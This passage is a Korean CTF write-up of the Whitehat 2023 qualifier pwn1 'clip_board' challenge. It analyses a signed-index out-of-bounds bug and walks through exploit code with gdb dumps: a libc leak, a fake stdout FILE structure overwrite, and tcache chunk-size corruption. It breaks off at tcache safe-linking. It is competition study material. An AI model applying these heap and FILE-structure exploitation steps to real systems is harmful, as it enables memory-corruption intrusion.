CTF/2023

[CTF][2023] Whitehat contest Qual - pwn1

pwn3r_45 2024. 3. 2. 16:54

문제개요

If you have something to save, save it.

nc 43.201.64.101 8888

Note

  • 포너블 제대로 본지가 오래됐다는 것을 느꼈던 문제
  • 예선 끝나고 10분 뒤에 쉘 획득..
  • 나중에 대회 디스코드를 확인해보니 내 풀이는 혼자 뺑뺑 돌아갔던 풀이 :(

Files

.
├── clip_board
└── libc.so.6

1. Analysis (clip_board)

파일 정보

  • x64 elf binary
  • IDA Pro를 사용하여 분석
$ file clip_board 
clip_board: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23eefb37b1fba618389fcd1c721212f41cd8e60d, for GNU/Linux 3.2.0, not stripped

checksec

$ checksec --file=./clip_board
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH     Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   58 Symbols       No    0               3               ./clip_board

1.1. Concept

(1) menu

  • 콘솔 노트 컨셉의 바이너리
  • 3개의 기능 제공
    1. AddClipBoard() : 노트 테이블 특정 index에 노트 추가
    2. DelClipBoard() : 노트 테이블 특정 index의 노트 삭제
    3. ViewClipBoard() : 노트 테이블 특정 index의 노트 출력
    4. Exit : 종료
__int64 main__16B2()
{
  const void *ptr; // rax
  int v1; // eax
  char v3; // [rsp+Fh] [rbp-1h]

  v3 = 0;
  Setup();
  ptr = (const void *)malloc_1170(32);
  ((void (*)(const char *, ...))printf_1140)("heap leak: %p\n\n", ptr);
  do{
    Menu();                       //   "1. Add clipboard"
                                  //   "2. Del clipboard"
                                  //   "3. View clipboard"
                                  //   "4. Exit"
    v1 = get_int();
    if ( v1 == 4 ){
      v3 = 1;
    }
    else if ( v1 <= 4 ){
      switch ( v1 ){
        case 3:
          ViewClipboard();
          break;
        case 1:
          AddClipboard();
          break;
        case 2:
          DelClipboard();
          break;
      }
    }
  }

(2) *_note_* global variables

  • 3개(check_chunk_list, chunk_size_list, chunk_list)의 전역 변수를 사용하여 노트 작성 정보를 관리
check_chunk_list[index] = 1;        // index 점유 여부 (0: 미사용, 1: 사용중)
chunk_size_list[index] = size;      // index에 해당하는 노트의 사이즈
chunk_list[index] = malloc(size);   // index에 해당하는 노트의 힙 주소
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x0     0x0
0x555555558070 <chunk_list+48>: 0x0     0x0
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558040 <chunk_list>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555558048 <chunk_list+8>:  0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

1.2. Vulnerability (Out-of-bound write / read / free)

  • AddClipboard(), ViewClipboard(), DelClipboard() 함수 내에서 노트 작성정보를 저장하는 전역변수(check_chunk_list, chunk_size_list, chunk_list)에 접근할 때 out-of-bound memory access가 가능한 취약점이 존재
  • 각 함수는 위에서 설명한 3개의 전역변수(이하 *chunk*)에 접근 시 boundary check를 수행(index <= 9)하는데, 비교연산(<=)에서 indexsigned int형으로 취급하므로, index에 음수를 입력 시 index <= 9 검증을 통과하게 되어 음수(낮은 주소) 방향으로 out-of-bound memory access가 가능
__int64 AddClipboard__128D()
{
  __int64 result; // rax
  int idx; // [rsp+0h] [rbp-10h]
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  __int64 v3; // [rsp+8h] [rbp-8h]

  ((void (*)(const char *, ...))printf_1140)("index > ");
  result = get_int();
  idx = result;
  if ( (int)result <= 9 )   // *** vulnerability ***
  {
    result = check_chunk_list[(int)result];
    if ( !(_BYTE)result )
    {
      ((void (*)(const char *, ...))printf_1140)("size > ");
      result = get_int();
      v2 = result;
      if ( (int)result <= 256 )
      {
        result = malloc_1170(result);
        v3 = result;
        if ( result )
        {
          ((void (*)(const char *, ...))printf_1140)("contents > ");
          ((void (__fastcall *)(__int64, _QWORD))get_input)(v3, v2);
          check_chunk_list[idx] = 1;
          chunk_size_list[idx] = v2;
          result = v3;
          chunk_list[idx] = v3;
        }
      }
    }
  }
  return result;
}
  • Add / Delete / View 함수에서 해당 취약점을 활용하면 *chunk* 전역변수를 기준으로 out-of-bound read / free / write가 가능하다.
    • AddClipboard() : OOB Write
    • DelClipboard() : OOB Free
    • ViewClipboard() : OOB Read

2. Exploitation

2.1. Memory leak

(1) heap address leak

  • 감사하게도 힙 주소는 main() 함수 시작 부분에서 선물로 제공되기 때문에 별도의 leak을 필요로 하지 않음
__int64 main__16B2()
{
  const void *ptr; // rax
  int v1; // eax
  char v3; // [rsp+Fh] [rbp-1h]

  v3 = 0;
  Setup();
  ptr = (const void *)malloc_1170(32);
  ((void (*)(const char *, ...))printf_1140)("heap leak: %p\n\n", ptr);
  do
  {
    Menu();                             //   sub_1100("1. Add clipboard");
                                        //   sub_1100("2. Del clipboard");
                                        //   sub_1100("3. View clipboard");
                                        //   sub_1100("4. Exit");  
    // ............................
  • 익스플로잇에서는 출력된 주소를 그대로 저장하여 활용
ru(b'heap leak: ')
heap_leak = int(rl().strip(), 16)

(2) libc address leak

ViewClipboard

__int64 ViewClipboard_146C()
{
  __int64 v3; // rax
  __int64 v1; // rdx
  int v2; // [rsp+0h] [rbp-10h]
  int note_size; // [rsp+4h] [rbp-Ch]
  __int64 note_ptr; // [rsp+8h] [rbp-8h]

  ((void (*)(const char *, ...))printf_1140)("index > ");
  v3 = get_int();
  v2 = v3;
  if ( (int)v3 <= 9 )
  {
    v3 = check_chunk_list[(int)v3];
    if ( (_BYTE)v3 )
    {
      note_ptr = chunk_list[v2];
      v1 = v2;
      v3 = (unsigned int)chunk_size_list[v1];
      note_size = chunk_size_list[v1];
      if ( note_ptr )
      {
        if ( note_size <= 0x100 )
          v3 = ((__int64 (__fastcall *)(__int64, __int64, _QWORD))write_1110)(1LL, note_ptr, note_size);
      }
    }
  }
  return v3;
}
  • 바이너리의 유일한 출력 기능인 ViewClipboard 함수를 활용하여 libc address leak 가능
  • ViewClipboard 함수는 check_chunk_list[index]의 값이 0이 아닌 경우, chunk_list[index] 포인터에서 chunk_size_list[index] 사이즈만큼 출력
  • 단, if ( note_size <= 0x100 ) 조건으로 인해 chunk_size_list[index]가 0x100 이하인 경우에만 출력이 가능
  • ViewClipboard 함수의 출력 조건을 요약하면 아래와 같다.
1. (char)check_chunk_list[(int)index] != '\0'
2. (int)chunk_size_list[(int)index] <= 256

stdout pointer

  • ViewClipboard() 함수로 출력할 포인터를 찾기 위해 *_chunk_* 전역변수 기준 음수(낮은주소)방향으로 메모리를 탐색하여 stdout@GLIBC_2_2_5 포인터를 확인했다.
(gdb) x/30a 0x555555558000
0x555555558000: 0x0     0x555555558008
0x555555558010: 0x0     0x0
0x555555558020 <stdout@GLIBC_2.2.5>:    0x7ffff7e1a780 <_IO_2_1_stdout_>        0x0     # stdout object pointer
0x555555558030 <stdin@GLIBC_2.2.5>:     0x7ffff7e19aa0 <_IO_2_1_stdin_> 0x0
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x0     0x0
0x555555558070 <chunk_list+48>: 0x0     0x0
0x555555558080 <chunk_list+64>: 0x0     0x0
0x555555558090 <check_chunk_list>:      0x0     0x0
0x5555555580a0 <chunk_size_list>:       0x0     0x0
0x5555555580b0 <chunk_size_list+16>:    0x0     0x0
0x5555555580c0 <chunk_size_list+32>:    0x0     0x0
0x5555555580d0: 0x0     0x0
0x5555555580e0: 0x0     0x0
  • stdout@GLIBC_2_2_5 포인트는 chunk_list[-4]에 위치하며, ViewClipboard() 함수로 해당 포인터를 출력하기 위해서는 아래 조건을 만족해야 한다.
1. (char)check_chunk_list[-4] != '\0'
2. (int)chunk_size_list[-4] <= 256
  • 익스플로잇에서는 1번 조건을 만족시키기 위해 index=-5인 노트를 생성
    (char)check_chunk_list[-4] $\subset$ chunk_size_list[-5]
  • 익스플로잇에서는 2번 조건을 만족시키기 위해 index=1인 노트를 생성
    (int)chunk_size_list[-4] $\supset$ check_chunk_list[1]
    (int)chunk_size_list[-4] = 0x100
  • 이후 ViewClipboard() 함수로 index=-4인 노트를 출력하면 stdout 객체의 데이터를 0x100만큼 출력하게되어, 출력 결과에서 libc address를 leak할 수 있다.

python

add(1, 255, b'asdf')
add(-5, 255, b'asdf')

leaked = view(-4)
libc_base = u64(leaked[8:16]) - 0x21a803

global variables status

  • 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x5555555592d0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x0     0x0
0x555555558070 <chunk_list+48>: 0x0     0x0
0x555555558080 <chunk_list+64>: 0x0     0xff01000000

(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0x00    0x01    0x00    0x00    0x00    0x00 0x00     0x00
0x555555558098 <check_chunk_list+8>:    0x00    0x00

(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x000000ff      0x00000000   0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000000      0x00000000      0x00000000   0x00000000
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000
  • 위 과정을 통해 libc base adress를 획득할 수 있다.
libc_base : 0x7ffff7c00000

2.2. 전역변수 정리

  • libc address leak을 위해 index=-4가 점유된 상태이므로, 이후 stdout pointer overwrite을 위해 check_chunk_list[-4] 초기화가 필요
  • (char)check_chunk_list[-4] $\subset$ chunk_list[9]이므로 index=9인 노트를 생성 후 다시 제거하여 초기화
  • 또한, index=1의 노트도 점유되어있을 필요가 없으므로 제거

python

def reset_stdout_ptr():
    add(9, 255, b'asdf')
    delete(9)

delete(1)
reset_stdout_ptr()

global variables status

  • 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x0     0x0
0x555555558070 <chunk_list+48>: 0x0     0x0
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

2.3. allocate dummy heap chunks

  • 이후 단계에서 heap chunk overwrite을 위한 사전작업으로 사이즈가 0x20인 4개의 인접한 chunk를 생성한

    add(4, 0x10, b'a')          # chunk1
    add(5, 0x10, b'bbbbbbbbA')  # chunk2
    add(6, 0x10, b'ccccccccA')  # chunk3
    add(7, 0x10, b'ddddddddA')  # chunk4

global variables status

  • 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0  0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530  0x555555559550
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0x00    0x00    0x00    0x00    0x01    0x01    0x01    0x01
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000010      0x00000010      0x00000010      0x00000010
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

heap memory

  • 위 python code가 실행 완료된 시점의 힙 메모리
0x5555555594e0: 0x0     0x21        // chunk1 ("a")
0x5555555594f0: 0x61    0x0
0x555555559500: 0x0     0x21        // chunk2 ("bbbbbbbbA")
0x555555559510: 0x6262626262626262      0x41   
0x555555559520: 0x0     0x21        // chunk3 ("ccccccccA")
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21        // chunk4 ("ddddddddA")
0x555555559550: 0x6464646464646464      0x41
0x555555559560: 0x0     0x20aa1

2.3. Stdout pointer Overwrite

  • stdout 포인터가 위치한 index=-4에 새로운 노트를 추가하여 stdout 포인터가 공격자의 노트를 가리키게 할 수 있다.

stdout overwrite (예시)

payload = b''  
add(-4, len(payload), payload)  
  • stdout@GLIBC_2_2_5이 가리키는 FILE 구조체(노트)의 데이터를 제어할 수 있으므로 FILE 구조체의 멤버 변수를 활용하여 rip를 컨트롤 할 방법을 고민해야 한다.
  • FILE 구조체를 활용해야 하는 상황 자체를 꽤 오랜만에 마주했기 때문에... IO_validate_vtable() 함수로 인해 vtable 임의 조작이 막힌 상황에서 rip를 컨트롤 할 수 있는 방안을 알고있지 못했다.

FSOP way

  • 구글링을 통해 발견한 다수의 자료는 본 문제와 유사한 상황에서 FSOP(File Stream Oriented Programming)를 활용하여 익스플로잇 하고있다. (vtable의 base 주소를 IO_validate_vtable() 검사에 통과하는 범위 내에서 일부 조작하여 _IO_new_file_overflow() 핸들러를 호출하는 방법)
  • 링크 : FSOP (CTF Wiki EN)
  • 하지만 libc 버전 차이 때문인지 구글링한 자료를 그대로 따라하는 것만으로는 바로 재현할 수 없었다. 물론, vtable base address를 바꿔가며 재현해볼 수 있었겠지만, 당시에는 FSOP를 의도한 것이 아닐 수 있겠다고 판단하여 다른 방향의 방법을 생각해냈다.

Another way

  • FSOP를 제외한 상황에서, my_stdout->write_base 포인터를 조작함으로써 프로그램 내에서 발생하는 표준 출력을 원하는 주소를 덮어씌우는 방법을 선택했다.
  • 마침 AddClipboard() 함수에서의 리턴 이후 stdout에 가장 먼저 출력되는 문자열은 메뉴("1. Add clipboard...")이며, 출력의 첫 글자인 '1'0x31이기 때문에, heap chunk의 사이즈 필드를 덮어씌우는데 사용할 수 있을 것으로 판단했다.
  • 앞선 heap 주소는 이전 과정을 통해 획득했으므로, 앞서 할당한 chunk1의 size 필드 주소를 계산하여 size 필드의 값을 0x21 -> 0x31로 조작했다.

python

  • stdout overwrite (Modify stdout->write_base)
def stdout_overwrite(target_addr, target_size):
    payload = b''
    payload += p64(0xFBAD0000)
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_ptr
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_end
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_base
    payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_base
    payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_ptr
    payload += p64(target_addr+target_size)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_end
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_buf_base
    payload += p64(libc_base + (0x7f53dac1a804 - 0x00007f53daa00000)) # _IO_buf_end

    payload += p64(0)   # _IO_save_base
    payload += p64(0)   # _IO_backup_base
    payload += p64(0)   # _IO_save_end
    payload += p64(0)   # _IO_marker
    payload += p64(libc_base + (0x7f53dac19aa0 - 0x00007f53daa00000)) # _IO_chain
    payload += p64(1)   # _fileno
    payload += p64(0xffffffffffffffff)  # _old_offset
    payload += p64(0xa000000)
    payload += p64(libc_base + (0x7f53dac1ba70-0x00007f53daa00000)) # lock
    payload += p64(0xffffffffffffffff)
    payload += p64(0x0)
    payload += p64(libc_base + (0x7f53dac199a0 - 0x00007f53daa00000))
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0xffffffff)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(io_file_jumps)
    '''
    gdb-peda$ x/a &stdout
    0x55bc670c1020 <stdout@GLIBC_2.2.5>:    0x7f53dac1a780 <_IO_2_1_stdout_>
    gdb-peda$ x/50a 0x7f53dac1a780
    0x7f53dac1a780 <_IO_2_1_stdout_>:       0xfbad2887      0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a790 <_IO_2_1_stdout_+16>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7a0 <_IO_2_1_stdout_+32>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7b0 <_IO_2_1_stdout_+48>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7c0 <_IO_2_1_stdout_+64>:    0x7f53dac1a804 <_IO_2_1_stdout_+132>   0x0
    0x7f53dac1a7d0 <_IO_2_1_stdout_+80>:    0x0     0x0
    0x7f53dac1a7e0 <_IO_2_1_stdout_+96>:    0x0     0x7f53dac19aa0 <_IO_2_1_stdin_>
    0x7f53dac1a7f0 <_IO_2_1_stdout_+112>:   0x1     0xffffffffffffffff
    0x7f53dac1a800 <_IO_2_1_stdout_+128>:   0xa000000       0x7f53dac1ba70 <_IO_stdfile_1_lock>
    0x7f53dac1a810 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0
    0x7f53dac1a820 <_IO_2_1_stdout_+160>:   0x7f53dac199a0 <_IO_wide_data_1>       0x0
    0x7f53dac1a830 <_IO_2_1_stdout_+176>:   0x0     0x0
    0x7f53dac1a840 <_IO_2_1_stdout_+192>:   0xffffffff      0x0
    0x7f53dac1a850 <_IO_2_1_stdout_+208>:   0x0     0x7f53dac16600 <_IO_file_jumps>
    gdb-peda$ vmmap libc
    Start              End                Perm      Name
    0x00007f53daa00000 0x00007f53daa28000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53daa28000 0x00007f53dabbd000 r-xp      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dabbd000 0x00007f53dac15000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dac15000 0x00007f53dac19000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dac19000 0x00007f53dac1b000 rw-p      /usr/lib/x86_64-linux-gnu/libc.so.6
    '''
    ##input('trigger')
    add(-4, len(payload), payload)
    reset_stdout_ptr()

stdout_overwrite(chunk1_start - 8, 1)   # chunk1->size = 0x31

global variables status

  • 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x0     0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0  0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530  0x555555559550
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0xe0    0x00    0x00    0x00    0x01    0x01    0x01    0x01
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000000      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000010      0x00000010      0x00000010      0x00000010
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

heap memory (puts("1. Add clipboard") 호출 전)

  • stdout pointer를 fake stdout object로 조작한 직후의 힙 메모리
0x5555555594e0: 0x0     0x21        // chunk1
0x5555555594f0: 0x61    0x0
0x555555559500: 0x0     0x21        // chunk2
0x555555559510: 0x6262626262626262      0x41
0x555555559520: 0x0     0x21        // chunk3
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21        // chunk4
0x555555559550: 0x6464646464646464      0x41
0x555555559560: 0x0     0xf1        // fake stdout object
0x555555559570: 0xfbad0800      0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559580: 0x7ffff7e1a803 <_IO_2_1_stdout_+131>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559590: 0x7ffff7e1a803 <_IO_2_1_stdout_+131>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595a0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595b0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132>    0x0
0x5555555595c0: 0x0     0x0
0x5555555595d0: 0x0     0x7ffff7e19aa0 <_IO_2_1_stdin_>
0x5555555595e0: 0x1     0xffffffffffffffff
0x5555555595f0: 0xa000000       0x7ffff7e1ba70 <_IO_stdfile_1_lock>
0x555555559600: 0xffffffffffffffff      0x0
0x555555559610: 0x7ffff7e199a0 <_IO_wide_data_1>        0x0
0x555555559620: 0x0     0x0
0x555555559630: 0xffffffff      0x0
0x555555559640: 0x0     0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0     0x209b1

heap memory (puts("1. Add clipboard") 호출 후)

  • puts("1. Add clipboard"); 함수가 실행되면 가장 첫 글자인 0x31이 write_base 포인터가 가리키는 chunk1의 size 필드에 overwrite
0x5555555594e0: 0x0     0x31        // chunk1 manipulated (0x21->0x31)
0x5555555594f0: 0x61    0x0
0x555555559500: 0x0     0x21        // chunk2
0x555555559510: 0x6262626262626262      0x41
0x555555559520: 0x0     0x21        // chunk3
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21        // chunk4
0x555555559550: 0x6464646464646464      0x41

2.4. tcache count 증가용 dummy 객체 생성

  • 각 사이즈별 tcache entry는 자신의 linked list에 연결된 chunk의 개수를 저장하고 있음
  • 이후 익스플로잇 과정에서 tcache entry에 강제로 chunk를 연결할 예정이므로, tcache count를 증가시키기 위해 free될 dummy chunk 1개를 미리 할당한다.

python

add(2, 0x10, b'dummy')  # chunkx

global variables status (not changed)

(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x555555559660  0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0  0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530  0x555555559550
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0xe0    0x00    0x01    0x00    0x01    0x01    0x01    0x01
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000010      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000010      0x00000010      0x00000010      0x00000010
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

heap memory

0x5555555594e0: 0x0     0x31        // chunk1
0x5555555594f0: 0x61    0x0
0x555555559500: 0x0     0x21        // chunk2
0x555555559510: 0x6262626262626262      0x41
0x555555559520: 0x0     0x21        // chunk3
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21        // chunk4
0x555555559550: 0x6464646464646464      0x41
0x555555559560: 0x0     0xf1        // fake stdout struct
0x555555559570: 0xfbad0800      0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559580: 0x7ffff7e1a803 <_IO_2_1_stdout_+131>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559590: 0x7ffff7e1a803 <_IO_2_1_stdout_+131>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595a0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132>    0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595b0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132>    0x0
0x5555555595c0: 0x0     0x0
0x5555555595d0: 0x0     0x7ffff7e19aa0 <_IO_2_1_stdin_>
0x5555555595e0: 0x1     0xffffffffffffffff
0x5555555595f0: 0xa000000       0x7ffff7e1ba70 <_IO_stdfile_1_lock>
0x555555559600: 0xffffffffffffffff      0x0
0x555555559610: 0x7ffff7e199a0 <_IO_wide_data_1>        0x0
0x555555559620: 0x0     0x0
0x555555559630: 0xffffffff      0x0
(gdb) 
0x555555559640: 0x0     0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0     0x21        // dummy chunk
0x555555559660: 0x796d6d7564    0x0
0x555555559670: 0x0     0x20991

2.5. chunk1 free and malloc -> chunk2 overwrite

  • chunk size가 0x31로 조작된 chunk1을 free하면 사이즈 0x30에 해당하는 tcache entry에 연결된다.

python

# chunk1 to tcache (size : 0x31)
delete(4)

global variables status

(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x555555559660  0x0
0x555555558060 <chunk_list+32>: 0x0     0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530  0x555555559550
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0xe0    0x00    0x01    0x00    0x00    0x01    0x01    0x01
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000010      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000000      0x00000010      0x00000010      0x00000010
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

heap memory

0x5555555594e0: 0x0     0x31      // chunk1 (freed)
0x5555555594f0: 0x555555559     0x63b28d844e0001f9
0x555555559500: 0x0     0x21      // chunk2
0x555555559510: 0x6262626262626262      0x41
0x555555559520: 0x0     0x21      // chunk3
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21      // chunk4
0x555555559550: 0x6464646464646464      0x41
0x555555559560: 0x0     0xf1      // fake stdout object
............................................
0x555555559640: 0x0     0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0     0x21      // dummy chunk
0x555555559660: 0x796d6d7564    0x0
0x555555559670: 0x0     0x20991
  • 이 상태에서 malloc(0x20)을 수행하면 앞서 free된 chunk1의 주소가 리턴되고, 0x20byte의 노트를 작성하면 chunk1과 인접한 chunk2의 size 필드를 조작할 수 있다. (chunk1에서 0x10byte의 heap overflow가 발생하는 상황과 동일한 상황이 만들어짐)
  • 위 상황을 활용해 chunk2의 size 필드를 0x21 -> 0x71로 조작한다.

python

# overwrite chunk2 header
chunk1_overflow = b'a'*0x10 + p64(0) + p64(0x71) 
add(4, 0x20, chunk1_overflow)

global variables status

(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>:    0x0     0x0
0x555555558050 <chunk_list+16>: 0x555555559660  0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0  0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530  0x555555559550
0x555555558080 <chunk_list+64>: 0x0     0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>:      0xe0    0x00    0x01    0x00    0x01    0x01    0x01    0x01
0x555555558098 <check_chunk_list+8>:    0x00    0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>:       0x00000000      0x00000000      0x00000010      0x00000000
0x5555555580b0 <chunk_size_list+16>:    0x00000020      0x00000010      0x00000010      0x00000010
0x5555555580c0 <chunk_size_list+32>:    0x00000000      0x00000000

heap memory

0x5555555594e0: 0x0     0x31          // chunk1 (reallocated) 
0x5555555594f0: 0x6161616161616161      0x6161616161616161
0x555555559500: 0x0     0x71          // chunk2 (manipulated)
0x555555559510: 0x6262626262626262      0x41
0x555555559520: 0x0     0x21          // chunk3
0x555555559530: 0x6363636363636363      0x41
0x555555559540: 0x0     0x21          // chunk4
0x555555559550: 0x6464646464646464      0x41
0x555555559560: 0x0     0xf1          // fake stdout object
............................................
0x555555559640: 0x0     0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0     0x21
0x555555559660: 0x796d6d7564    0x0
0x555555559670: 0x0     0x20991

2.6. free manipulated chunks

(1) free(dummy chunk)

python

  • 먼저, 앞서 할당한 dummy 객체(index=2)를 free하여 tcache count 증가
delete(2)   # dummy (for tcache count)

tcache status

(0x20)   tcache_entry[0](1): 0x555555559660
(0x110)   tcache_entry[15](1): 0x5555555592d0

(2) free(chunk3)

python

  • 향후 next 포인터를 덮어쓰기 위해 chunk3를 free하여 힙 메모리 상에 next 포인터를 앞서 할당한 chunk3를 free (index=6)

    delete(6)

tcache status

(0x20)   tcache_entry[0](2): 0x555555559530 --> 0x555555559660
(0x110)   tcache_entry[15](1): 0x5555555592d0

(3) free(chunk2)

python

  • 앞서 할당한 chunk2를 free (index=5)

    delete(5)

tcache status

(0x20)   tcache_entry[0](2): 0x555555559530 --> 0x555555559660
(0x70)   tcache_entry[5](1): 0x555555559510 (overlap chunk with 0x555555559520(freed) )
(0x110)   tcache_entry[15](1): 0x5555555592d0

2.7. stack address leak

(1) tcache encode

  • LIBC 2.32부터는 tcache에 safe linking 이라는 포인터 보호기법이 추가됐다. 요약하자면, tcache entry에 연결되어있는 chunk의 next 필드를 chunk 주소의 일부 비트와 xor하여 저장하는 방식이다.
#define PROTECT_PTR(pos, ptr) \
